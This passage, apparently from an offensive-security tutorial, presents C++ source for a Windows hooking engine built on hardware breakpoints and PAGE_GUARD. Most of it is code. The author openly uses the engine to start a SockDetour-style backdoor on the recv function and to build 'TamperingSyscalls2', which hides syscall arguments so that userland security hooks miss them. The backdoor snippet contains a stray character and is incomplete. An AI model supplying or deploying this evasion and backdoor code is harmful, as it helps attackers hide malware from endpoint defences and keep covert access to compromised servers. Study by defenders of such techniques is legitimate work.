};\n\n\t\tGetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),\n\t\t\t&context);\n\t\t\n\t\t// Setup required HWBP\n\t\tfor (auto& i : HWBP_ADDRESS_MAP) {\n\t\t\t(&context.Dr0)[i.second.pos] = i.first;\n\n\t\t\tcontext.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));\n\t\t\tcontext.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));\n\t\t\tcontext.Dr7 |= 1ull << (2 * i.second.pos);\n\t\t}\n\n\t\tSetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),\n\t\t\t&context);\n\n\t\tResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));\n\n\t\t// restore our HWBP on NtCreateThreadEx\n\t\tfor (auto& i : HWBP_ADDRESS_MAP) {\n\t\t\tif (i.first == ExceptionInfo->ContextRecord->Rip) {\t\n\t\t\t\tSetHWBP(GetCurrentThread(), i.first, i.second.pos, false);\n\t\t\t}\n\t\t}\n\t\t\n\t\t// RAX contains the return value.\n\t\tExceptionInfo->ContextRecord->Rax = status;\n\n\t\t// Set RIP to a ret gadget to avoid creating \n\t\t// another new thread (skip syscall instruction) \n\t\tExceptionInfo->ContextRecord->Rip = \n\t\t\tFindRetAddr(ExceptionInfo->ContextRecord->Rip);\n}) };\n```\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\nI share a hardware breakpoint hooking engine you can use written in C++. The example\nhardware breakpoint sets a breakpoint in Dr0 on the sleep function, and set's the first\nvalue (in RCX) to 0, skipping all sleeps. To set this breakpoint in all future new\nthreads, you can use the above example, which utilizes Dr1.\n```c\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                      HWBPP.cpp - @rad9800                            */\n/*                         C++ Hardware Breakpoint Library (DLL example)                */\n//////////////////////////////////////////////////////////////////////////////////////////\n// dllmain.cpp : Defines the entry point for the DLL application.\n// /std:c++20\n#include \"pch.h\"\n#include <windows.h>\n\n#include <tlhelp32.h>\n#include <functional>\n\nusing EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Structs                                     */\n//////////////////////////////////////////////////////////////////////////////////////////\ntypedef struct {\n\tUINT\t\t\t\t\t\t\t\t\t\tpos;\n\tEXCEPTION_FUNC\t\t\t\t\t\t\t\tfunc;\n} HWBP_CALLBACK;\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Globals                                     */\n//////////////////////////////////////////////////////////////////////////////////////////\n// maintain our address -> lambda function mapping \nstd::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Funcs                                       */\n//////////////////////////////////////////////////////////////////////////////////////////\nVOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init)\n{\n\tCONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };\n\tGetThreadContext(thd, &context);\n\n\tif (init) {\n\t\t(&context.Dr0)[pos] = address;\n\n\t\tcontext.Dr7 &= ~(3ull << (16 + 4 * pos));\n\t\tcontext.Dr7 &= ~(3ull << (18 + 4 * pos));\n\t\tcontext.Dr7 |= 1ull << (2 * pos);\n\t}\n\telse {\n\t\tif ((&context.Dr0)[pos] == address) {\n\t\t\tcontext.Dr7 &= ~(1ull << (2 * pos));\n\t\t\t(&context.Dr0)[pos] = NULL;\n\t\t}\n\t}\n\n\tSetThreadContext(thd, &context);\n}\n\nVOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)\n{\n\tconst DWORD pid{ GetCurrentProcessId() };\n\tconst HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };\n\tif (h != INVALID_HANDLE_VALUE) {\n\t\tTHREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };\n\t\tif (Thread32First(h, &te)) {\n\t\t\tdo {\n\t\t\t\tif ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +\n\t\t\t\t\tsizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {\n\n\t\t\t\t\tconst HANDLE thd = \n\t\t\t\t\t\t\t\t\tOpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);\n\t\t\t\t\tif (thd != INVALID_HANDLE_VALUE) {\n\t\t\t\t\t\tSetHWBP(thd, address, pos, init);\n\t\t\t\t\t\tCloseHandle(thd);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tte.dwSize = sizeof(te);\n\t\t\t} while (Thread32Next(h, &te));\n\t\t}\n\t\tCloseHandle(h);\n\t}\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                      Exception Handler                               */\n//////////////////////////////////////////////////////////////////////////////////////////\nLONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)\n{\n\tif (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)\n\t{\n\t\tif (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {\n\t\t\tHWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);\n\t\t\treturn EXCEPTION_CONTINUE_EXECUTION;\n\t\t}\n\t}\n\treturn EXCEPTION_CONTINUE_SEARCH;\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                        Classes                                       */\n//////////////////////////////////////////////////////////////////////////////////////////\ntemplate<typename HANDLER>\nstruct HWBP {\npublic:\n\tHWBP(const uintptr_t address, const UINT idx,\n\t\tconst HANDLER function) : address{ address } , pos{idx % 4}\n\t{\n\t\tSetHWBPS(address, pos);\n\n\t\tHWBP_ADDRESS_MAP[address].func = function;\n\t\tHWBP_ADDRESS_MAP[address].pos = pos;\n\t};\n\n\tVOID RemoveHWBPS()\n\t{\n\t\tSetHWBPS(address, pos, false);\n\t\tHWBP_ADDRESS_MAP.erase(address);\n\t}\n\n\t~HWBP()\n\t{\n\t\tRemoveHWBPS();\n\t}\n\nprivate:\n\tconst uintptr_t address;\n\tUINT\t\t\tpos;\n};\n\n\n// Global Scope \nHWBP HWBPSleep{ (uintptr_t)&Sleep, 0,\n\t([&](PEXCEPTION_POINTERS ExceptionInfo) { \n\t\tExceptionInfo->ContextRecord->Rcx = 0;\n\t\tExceptionInfo->ContextRecord->EFlags |= (1 << 16);\n}) };\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Entry                                       */\n//////////////////////////////////////////////////////////////////////////////////////////\nextern \"C\" \nBOOL APIENTRY DllMain(HANDLE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) \n{\n\tHANDLE handler = NULL;\n    switch (ul_reason_for_call)\n    {\n\tcase DLL_PROCESS_ATTACH: {\n\t\thandler = AddVectoredExceptionHandler(1, ExceptionHandler);\n\t}; break;\n\tcase DLL_THREAD_ATTACH: {\n\t} break;\n\tcase DLL_THREAD_DETACH: {\n\n\t}; break;\n\tcase DLL_PROCESS_DETACH: {\n\t\tif (handler != nullptr) RemoveVectoredExceptionHandler(handler);\n\t}; break;\n    }\n    return TRUE;\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                         EOF                                          */\n//////////////////////////////////////////////////////////////////////////////////////////\n```\nAs we discussed earlier, keeping a debug register set is a bad practice. Therefore, we\nwill complement our usage of debug registers with PAGE_GUARD hooks, allowing us to free\nup one of the debug registers: Dr1 (used for NtCreateThreadEx).\n\nPAGE_GUARDs are essentially one-shot memory protection that will throw an exception. They\nare applied to pages at the lowest level of allocation granularity present in the system (\nwhich can sometimes prove to be a hindrance). PAGE_GUARD hooking is nothing new, but we\ncan use it to address some of our limitations. We will initially apply our PAGE_GUARD to\nthe address, and the PAGE_GUARD will be triggered by throwing a PAGE_GUARD_VIOLATION.\n\nVirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);\n\nWe can apply the same concept of mapping a lambda to trigger at a specific address. We\nwill single-step through the function instructions on our current page while re-applying\nthe PAGE_GUARD. This is obviously relatively slow but has the benefit of not reserving up\na Debug register. For the primary reason of being slow, we opted against using them\nprimarily.\n\n\n```c\ntypedef struct {\n\tEXCEPTION_FUNC\t\t\t\t\t\t\t\tfunc;\n} PG_CALLBACK;\n\nstd::unordered_map<uintptr_t, PG_CALLBACK>\tPG_ADDRESS_MAP{ 0 };\n\nPG_ADDRESS_MAP[address].func = function;\n```\nTo apply the debug register hooks to new threads, we can just copy the previous example\nof hooking NtCreateThreadEx but remove the loops where we disable and restore the HWBPs\nfor our current thread.\n\nWe can introduce the second code example where we do the hook mentioned above of\nNtCreateThreadEx with PAGE_GUARDs. As before, our deconstructor function will remove the\nentry in our mapping and remove the protections (if set).\n\n```c\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                        DRPGG.cpp - @rad9800                          */\n//////////////////////////////////////////////////////////////////////////////////////////\n#include <windows.h>\n\n#include <tlhelp32.h>\n#include <functional>    // std::function \n\n\nusing EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                            Structs                                   */\n//////////////////////////////////////////////////////////////////////////////////////////\ntypedef struct {\n    UINT                                        pos;\n    EXCEPTION_FUNC                                func;\n} HWBP_CALLBACK;\n\ntypedef struct {\n    EXCEPTION_FUNC                                func;\n} PG_CALLBACK;\n\ntypedef LONG(NTAPI* typeNtCreateThreadEx)(\n    OUT PHANDLE hThread,\n    IN ACCESS_MASK DesiredAccess,\n    IN PVOID ObjectAttributes,\n    IN HANDLE ProcessHandle,\n    IN PVOID lpStartAddress,\n    IN PVOID lpParameter,\n    IN ULONG Flags,\n    IN SIZE_T StackZeroBits,\n    IN SIZE_T SizeOfStackCommit,\n    IN SIZE_T SizeOfStackReserve,\n    OUT PVOID lpBytesBuffer\n    );\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                            Globals                                   */\n//////////////////////////////////////////////////////////////////////////////////////////\n// maintain our address -> lambda function mapping \nstd::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };\nstd::unordered_map<uintptr_t, PG_CALLBACK>    PG_ADDRESS_MAP{ 0 };\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                            Funcs                                     */\n//////////////////////////////////////////////////////////////////////////////////////////\n// Find our ret ROP gadget \nuintptr_t FindRetAddr(const uintptr_t function)\n{\n    BYTE stub[]{ 0xC3 };\n    for (unsigned int i = 0; i < (unsigned int)25; i++)\n    {\n        if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {\n            return (function + i);\n        }\n    }\n    return NULL;\n}\n\nVOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init)\n{\n    CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };\n    GetThreadContext(thd, &context);\n\n    if (init) {\n        (&context.Dr0)[pos] = address;\n\n        context.Dr7 &= ~(3ull << (16 + 4 * pos));\n        context.Dr7 &= ~(3ull << (18 + 4 * pos));\n        context.Dr7 |= 1ull << (2 * pos);\n    }\n    else {\n        if ((&context.Dr0)[pos] == address) {\n            context.Dr7 &= ~(1ull << (2 * pos));\n            (&context.Dr0)[pos] = NULL;\n        }\n    }\n\n    SetThreadContext(thd, &context);\n}\n\nVOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)\n{\n    const DWORD pid{ GetCurrentProcessId() };\n    const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };\n    if (h != INVALID_HANDLE_VALUE) {\n        THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };\n        if (Thread32First(h, &te)) {\n            do {\n                if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +\n                    sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {\n\n                    const HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);\n                    if (thd != INVALID_HANDLE_VALUE) {\n                        SetHWBP(thd, address, pos, init);\n                        CloseHandle(thd);\n                    }\n                }\n                te.dwSize = sizeof(te);\n            } while (Thread32Next(h, &te));\n        }\n        CloseHandle(h);\n    }\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                        Exception Handler                             */\n//////////////////////////////////////////////////////////////////////////////////////////\nLONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo)\n{\n    DWORD old = 0;\n    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION)\n    {\n        if (PG_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {\n            PG_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);\n        }\n        ExceptionInfo->ContextRecord->EFlags |= (1 << 8);\n        return EXCEPTION_CONTINUE_EXECUTION;\n    }\n    else if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)\n    {\n        if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {\n            HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);\n            return EXCEPTION_CONTINUE_EXECUTION;\n        }\n        for (const auto& i : PG_ADDRESS_MAP) {\n            VirtualProtect((LPVOID)i.first, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);\n            return EXCEPTION_CONTINUE_EXECUTION;\n        }\n    }\n    return EXCEPTION_CONTINUE_SEARCH;\n}\n\nDWORD WINAPI TestThread(LPVOID lpParameter)\n{\n    UNREFERENCED_PARAMETER(lpParameter);\n    Sleep(500000);\n\n    return 0;\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                            Classes                                   */\n//////////////////////////////////////////////////////////////////////////////////////////\ntemplate<typename HANDLER>\nstruct HWBP {\npublic:\n    HWBP(const uintptr_t address, const UINT idx,\n        const HANDLER function) : address{ address }, pos{ idx % 4 }\n    {\n        SetHWBPS(address, pos);\n\n        HWBP_ADDRESS_MAP[address].func = function;\n        HWBP_ADDRESS_MAP[address].pos = pos;\n    };\n\n    VOID RemoveHWBPS()\n    {\n        SetHWBPS(address, pos, false);\n        HWBP_ADDRESS_MAP.erase(address);\n    }\n\n    ~HWBP()\n    {\n        RemoveHWBPS();\n    }\n\nprivate:\n    const uintptr_t address;\n    UINT            pos;\n};\n\n\ntemplate<typename HANDLER>\nstruct PGBP {\npublic:\n    PGBP(const uintptr_t address, const HANDLER function) : old{ 0 }, address{ address }\n    {\n\n        VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);\n\n        PG_ADDRESS_MAP[address].func = function;\n    }\n\n    VOID RemovePGEntry()\n    {\n        VirtualProtect((LPVOID)address, 1, old, &old);\n        PG_ADDRESS_MAP.erase(address);\n    }\n\n    ~PGBP()\n    {\n        RemovePGEntry();\n    }\nprivate:\n    DWORD old;\n    const uintptr_t address;\n};\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                        Entry Point                                   */\n//////////////////////////////////////////////////////////////////////////////////////////\nint main()\n{\n    const PVOID handler{ AddVectoredExceptionHandler(1, ExceptionHandler) };\n\n    HWBP HWBPSleep{\n        (uintptr_t)&Sleep,\n        1,\n        ([&](PEXCEPTION_POINTERS ExceptionInfo) {\n            printf(\"Sleeping %lld\\n\", ExceptionInfo->ContextRecord->Rcx);\n            ExceptionInfo->ContextRecord->Rcx = 0;\n            ExceptionInfo->ContextRecord->EFlags |= (1 << 16);    // continue execution\n    }) };\n\n\n    PGBP VEHNtCreateThreadEx{\n        (uintptr_t)GetProcAddress(\n            GetModuleHandle(L\"NTDLL.dll\"),\n            \"NtCreateThreadEx\"\n        ),\n    ([&](PEXCEPTION_POINTERS ExceptionInfo) {\n\n            // create a new thread suspended\n            LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(\n                (PHANDLE)ExceptionInfo->ContextRecord->Rcx,\n                (ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,\n                (PVOID)ExceptionInfo->ContextRecord->R8,\n                (HANDLE)ExceptionInfo->ContextRecord->R9,\n                (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),\n                (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),\n                (ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,\n                (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),\n                (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),\n                (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),\n                (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)\n            );\n\n            CONTEXT context{ 0 };\n            context.ContextFlags = CONTEXT_DEBUG_REGISTERS;\n\n            GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),\n                &context);\n\n            for (auto& i : HWBP_ADDRESS_MAP) {\n                (&context.Dr0)[i.second.pos] = i.first;\n\n                context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));\n                context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));\n                context.Dr7 |= 1ull << (2 * i.second.pos);\n            }\n\n            SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),\n                &context);\n\n            ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));\n\n            ExceptionInfo->ContextRecord->Rax = status;\n\n            ExceptionInfo->ContextRecord->Rip =\n                FindRetAddr(ExceptionInfo->ContextRecord->Rip);\n        }) };\n\n\n    Sleep(1000000);\n\n    for (unsigned int i = 0; i < 2; ++i) {\n        HANDLE t = CreateThread(NULL, 0, TestThread, NULL, 0, NULL);\n        if (t) WaitForSingleObject(t, INFINITE);\n    }\n\n    if (handler) RemoveVectoredExceptionHandler(handler);\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                            EOF                                       */\n//////////////////////////////////////////////////////////////////////////////////////////\n```\nHaving applied the theory to create a versatile hardware breakpoint hooking engine, we\nwill continue to use a mixture of debug registers and PAGE_GUARDs, as shown in our\nprevious examples, to implement a backdoor inspired by SockDetour [3] as a DLL in C++. We\nwill set a hardware breakpoint on the recv function to accomplish this and build the\nrequired logic in the corresponding lambda. We will also apply a PAGE_GUARD to\nNtCreateThreadEx and use our previous technique of creating the thread in a suspended\nstate to set the right debug registers.\n\nDespite the sluggish nature of PAGE_GUARD hooks, this should not be an issue as long as\nthe server model does not create a new thread for every request, leading to subliminal\nperformance. Most networking server models maintain a pool of threads that are started\nand initialized at the program's start. For more insight into these server models,\nMicrosoft provides a variety of examples on Github [4]; the IOCP example is an excellent\nexample of what a performant, scalable server model looks like for context.\n\nThe start of your backdoor could look like this:\n\nHWBP recv_hook{ (uintptr_t)GetProcAddress((LoadLibrary(L\"WS2_32.dll\"),\n\tGetModuleHandle(L\"WS2_32.dll\")),\"recv\"), 3,\n\t([&](PEXCEPTION_POINTERS ExceptionInfo) {\n\t\t\n\t\tfor (auto& i : ADDRESS_MAP) {\n\t\t\tif (i.first == ExceptionInfo->ContextRecord->Rip) {\n\t\t\t\tSetHWBP(GetCurrentThread(), i.first, i.second.pos, false);\n\t\t\t}\n\t\t}\n\n\t\tchar verbuf[9]{ 0 };\n\t\tint\tverbuflen{ 9 }, recvlen{ 0 };\n\n\t\trecvlen = recv(ExceptionInfo->ContextRecord->Rcx, verbuf,\n\t\t\t\t   verbuflen, MSG_PEEK);\n\n\t\tBYTE TLS[] = { 0x17, 0x03, 0x03 };\n\n\t\tif (recvlen >= 3) {\n\t\t\tif ((memcmp(verbuf, TLS, 3) == 0))1\n\t\t\t{\n\t\t\t\tMSG_AUTH msg{ 0 };\n\t\t\t\t// We'll peek like SockDetour as to not eat the message\n\t\t\t\trecvlen = recv(ExceptionInfo->ContextRecord->Rcx, (char*)&msg,\n\t\t\t\t\tsizeof(MSG_AUTH), MSG_PEEK);\n\t\t\t\t\t// Authenticate and proceed\n\n\t\t\t}\n\t\t}\n\n\t\t// Set corresponding Dr\n\t\tfor (auto& i : ADDRESS_MAP) {\n\t\t\tif (i.first == ExceptionInfo->ContextRecord->Rip) {\n\t\t\t\tSetHWBP(GetCurrentThread(), i.first, i.second.pos, true);\n\t\t\t}\n\t\t}\n\n\t\tExceptionInfo->ContextRecord->EFlags |= (1 << 16);\n}) };\n\n\nWe will finish by implementing a generic x64 userland evasion technique inspired by\nTamperingSyscalls, which utilizes a suitably modified version of the hardware breakpoint\nthe engine showed earlier to hide up to 12 of the arguments of up to ANY 4 Nt syscalls at \nANY one time per thread. Note that I chose not to propagate the debug register content to \nall the threads, as this would likely be undesirable (if desired, replace SetHWBP with\nSetHWBPS).\n\nI need not describe why this would be desirable and super EPIC nor delve into userland\nhooking as these are not the topics at hand or of concern, and they have been covered in\ndepth several times [5]. \n\nWe create a new mapping using the (address | ThreadID) as a unique key, and the value is\na structure containing the function arguments. We will create a new entry in our mapping\non entering the syscall and clear out the values in the registers and stack. \n\nWe use single-stepping (through the trap flag) to pretend that we have more debug \nregisters than we actually have. We CAN do this, given we know when and where we need \nspecific actions to occur. \n\nWhen we hit our desired syscall address, we restore our values from the hashmap entry\nassociated with our key. This will return the values on the stack in the registers. We\nthen continue to single step until the return instruction, where we will stop single\nstepping and continue on! \n\nThis ultimately allows us for typeless hooking. What is more, initially, we specified \nWe will only hide 12 arguments, 4 from the registers and 8 from the stack. This \"8\" \nvalue is only arbitrary but recommended, and hiding or changing more values/arguments\non the stack may produce undesirable behaviour.\n\nOur call stack should already originate from a suitable DLL, and thus you shouldn't need\nto call the Native functions and can call a suitable wrapper from any DLL provided you \ncall the constructor with the Native function address in NTDLL. \n\nThis is trivial and can be achieved by changing the macro:\n#define STK_ARGS 8\t\t// 12 - 4 = 8 - should cover most Nt functions. \n\nIn the example, we show it working with NtCreateThreadEx and NtCreateMutant! Make sure\nyou are only using the 4 debug registers individually per thread. Once you are done with\na specific function, you can free up the associated debug register by calling the\nRemoveHWBPS method. \n\n1. If (addr == entry.first) this means we are the the mov r10, rcx instruction \n - We store our arguments in our hashmap entry using the key (TID | address)\n\nconst auto key = (address + 0x12) | GetCurrentThreadId();\n\nSYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;\nSYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;\nSYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;\nSYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;\n\nfor (size_t idx = 0; idx < STK_ARGS; idx++)\n{\n\tconst size_t offset = idx * 0x8 + 0x28;\n\tSYSCALL_MAP[key].stk[idx] =\n\t\t*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);\n}\n - We then set these argument values to 0 (can be any other arbitrary value) \n\nExceptionInfo->ContextRecord->Rcx = 0;\nExceptionInfo->ContextRecord->Rdx = 0;\nExceptionInfo->ContextRecord->R8 = 0;\nExceptionInfo->ContextRecord->R9 = 0;\n// ...\n\n - We then set the Resume Flag in bit 16 and Trap Flag in bit 8\n - This will continue execution, as usual, only minimally affecting the performance. \n \nExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag\nExceptionInfo->ContextRecord->EFlags |= (1 << 8);\t// Trap Flag\n\n2. Keep single stepping until (addr == entry.second.sysc) \n - We are now at the syscall instruction and have gone past any userland hooks \n - We restore our arguments using the previous (TID | address) lookup key. \n```c\nauto const key = (address | GetCurrentThreadId());\n\n// mov rcx, r10 \nExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;\nExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;\t\nExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;\nExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;\nExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;\n\nfor (size_t idx = 0; idx < STK_ARGS; idx++)\n{\n\tconst size_t offset = idx * 0x8 + 0x28;\n\t*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =\n\t\tSYSCALL_MAP[key].stk[idx];\n}\n```\n - We will single step again.\n \n3. We are now at  (address == ai.return_addr)\n - We can now stop single stepping and only set the Resume Flag (not Trap Flag)\n - This will continue execution, as usual, only minimally affecting the performance. \n\nThe previously described technique is implemented, focusing on hiding ALL arguments of \nthe MAJORITY of Native syscalls! And so enjoy this elegant and straightforward solution \nwhere I provide the debug print statements, too, so you can see the changes being made to \nthe stack and registers and the thought processes behind it all. \n\n```C\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                              TamperingSyscalls2.cpp - @rad9800                       */\n/*                 C++ Generic x64 user-land evasion technique utilizing HWBP.cpp       */\n/*                      Hides up to 12 args of up to 4 NT calls per thread              */\n//////////////////////////////////////////////////////////////////////////////////////////\n#include <windows.h>\n\n#include <tlhelp32.h>\n#include <functional>\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Structs                                     */\n//////////////////////////////////////////////////////////////////////////////////////////\n\n\t\t\t\t\t\t// 12 - 4 = 8 - should cover most Nt functions. \n#define STK_ARGS 8\t\t\t// Increase this value, works until ~100...\n\ntypedef struct {\n\tuintptr_t\t\t\t\t\t\t\t\t\tsyscall_addr;\t// +0x12\n\tuintptr_t\t\t\t\t\t\t\t\t\t return_addr;\t// +0x14\n} ADDRESS_INFORMATION;\n\ntypedef struct {\n\tuintptr_t\t\t\tRcx;\t// First\n\tuintptr_t\t\t\tRdx;\t// Second\n\tuintptr_t\t\t\tR8;\t\t// Third\n\tuintptr_t\t\t\tR9;\t\t// Fourth\n\tuintptr_t\t\t\tstk[STK_ARGS];\t// Stack args\n} FUNC_ARGS;\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Macros                                      */\n////////////////////////////////////////////////////////////////////////////////////////// \n#define PRINT_ARGS( State, ExceptionInfo )                              \\\nprintf(\"%s %d arguments and stack for 0x%p || TID : 0x%x\\n\",            \\\n    State, (STK_ARGS + 4), (PVOID)address, GetCurrentThreadId());       \\\nprintf(\"1:\\t0x%p\\n\", (PVOID)(ExceptionInfo)->ContextRecord->Rcx);       \\\nprintf(\"2:\\t0x%p\\n\", (PVOID)(ExceptionInfo)->ContextRecord->Rdx);       \\\nprintf(\"3:\\t0x%p\\n\", (PVOID)(ExceptionInfo)->ContextRecord->R8);        \\\nprintf(\"4:\\t0x%p\\n\", (PVOID)(ExceptionInfo)->ContextRecord->R9);        \\\nfor (UINT idx = 0; idx < STK_ARGS; idx++){                              \\\n    const size_t offset = idx * 0x8 + 0x28;                             \\\n    printf(\"%d:\\t0x%p\\n\", (idx + 5), (PVOID)*(PULONG64)                 \\\n        ((ExceptionInfo)->ContextRecord->Rsp + offset));                \\\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Globals                                     */\n//////////////////////////////////////////////////////////////////////////////////////////\nstd::unordered_map<uintptr_t, ADDRESS_INFORMATION> ADDRESS_MAP{ 0 };\n// syscall opcode { 0x55 } address, func args in registers and stack \nstd::unordered_map<uintptr_t, FUNC_ARGS> SYSCALL_MAP{ 0 };\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                      Functions                                       */\n//////////////////////////////////////////////////////////////////////////////////////////\nVOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init)\n{\n\tCONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };\n\tGetThreadContext(thd, &context);\n\n\tif (init) {\n\t\t(&context.Dr0)[pos] = address;\n\n\t\tcontext.Dr7 &= ~(3ull << (16 + 4 * pos));\n\t\tcontext.Dr7 &= ~(3ull << (18 + 4 * pos));\n\t\tcontext.Dr7 |= 1ull << (2 * pos);\n\t}\n\telse {\n\t\tif ((&context.Dr0)[pos] == address) {\n\t\t\tcontext.Dr7 &= ~(1ull << (2 * pos));\n\t\t\t(&context.Dr0)[pos] = NULL;\n\t\t}\n\t}\n\n\tSetThreadContext(thd, &context);\n}\n\n// Find our ret ROP gadget (pointer decay so need explicit size)\nuintptr_t FindRopAddress(const uintptr_t function, const BYTE* stub, const UINT size)\n{\n\tfor (unsigned int i = 0; i < (unsigned int)25; i++)\n\t{\n\t\t// memcmp WILL be optimized \n\t\tif (memcmp((LPVOID)(function + i), stub, size) == 0) {\n\t\t\treturn (function + i);\n\t\t}\n\t}\n\treturn NULL;\n}\n\nDWORD WINAPI TestThread(LPVOID lpParameter);\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                        Classes                                       */\n//////////////////////////////////////////////////////////////////////////////////////////\nstruct TS2_HWBP {\nprivate:\n\tconst uintptr_t address;\n\tUINT\t\t\tpos;\npublic:\n\tTS2_HWBP(const uintptr_t address, const UINT idx) : address{ address },\n\t\tpos{ idx % 4 }\n\t{\n\t\tSetHWBP(GetCurrentThread(), address, pos, true);\n\n\t\tBYTE syscop[] = { 0x0F, 0x05 };\n\t\tADDRESS_MAP[address].syscall_addr =\n\t\t\tFindRopAddress(address, syscop, sizeof(syscop));\n\t\tBYTE retnop[] = { 0xC3 };\n\t\tADDRESS_MAP[address].return_addr =\n\t\t\tFindRopAddress(address, retnop, sizeof(retnop));\n\t};\n\n\tVOID RemoveHWBPS()\n\t{\n\t\tSetHWBP(GetCurrentThread(), address, pos, 